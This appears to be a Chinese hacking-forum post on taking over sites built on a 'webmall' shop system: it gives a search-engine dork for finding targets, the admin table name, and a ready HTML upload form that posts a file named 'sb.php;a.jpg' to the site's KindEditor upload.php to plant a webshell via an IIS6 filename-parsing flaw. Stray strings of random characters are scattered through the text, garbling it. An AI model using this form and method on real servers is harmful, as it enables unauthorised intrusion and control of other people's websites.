关键字:inurl:webmall/detail.php?id
& X0 k1 \( }/ x& J' j. e2 l4 s( ?. z$ N- \
数据表:pwn_base_admin
. I) j0 |- k# \ ]) U- v# {9 f
% u$ o4 `- f# C5 w关于拿shell
) v) S- D3 o9 Z8 g0 e8 k% G# ] / J; _- i" G% t; F
首先登录后台admin.php
+ J7 i3 S0 O \( h" n# ~) w 0 z2 ^1 w5 D5 q/ V2 U& ]0 P
看了upload.php源码,分析了一个下午,然后大约是明白了虽然上传那里只允许上传gif,jpg,png,bmp四种文件,但是并没有对文件名做限制。( M/ u/ e0 Q s. y; c0 n' Q* G
换句话说,sb.php;a.jpg这样的文件也是允许的,只要服务器是IIS6就拿到webshel,低版本的apache可以试着重命名为sb.php.jpg/ G- y. P* P2 r
然后搞完了才发现,这里的比我的更精简,我那个蛋疼,膜拜下三石,然后就借用了,我的开始和他的一样是采取全部源码的,然后发现了更精简的; E2 b5 u' u" M& h$ ~! L% J1 Y
<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://xxx.com/kedit/upload_cgi/upload.php">
' I2 J: M* m/ g! n y<input type="text" name="fileName" value="sb.php;a.jpg" /> 4 n; X ~; j' W+ c7 Z4 \: z
<input type="hidden" name="attachPath" value="news/pics/" /> 1 c! a ]6 ~. c9 e, g% J7 z2 N
<input type="file" name="fileData" size="14" /></td> + I5 W1 K8 Z8 x3 b8 x0 j" M, X
<input type="submit" name="button" value="确定" />
8 @1 Z" Z) e0 l! K$ @</form>' z/ o! L. m7 p( A) u( G/ p
1 D. f9 Z0 w% {
首先登录后台,然后把上面的文件保存为xx.html,修改action,然后再上传,如果为iis6就在上传了查看源码就好了。0 q% V: G( \- v0 R% M/ G- w
6 F* q& P/ ?0 m; d" v) n x5 u
|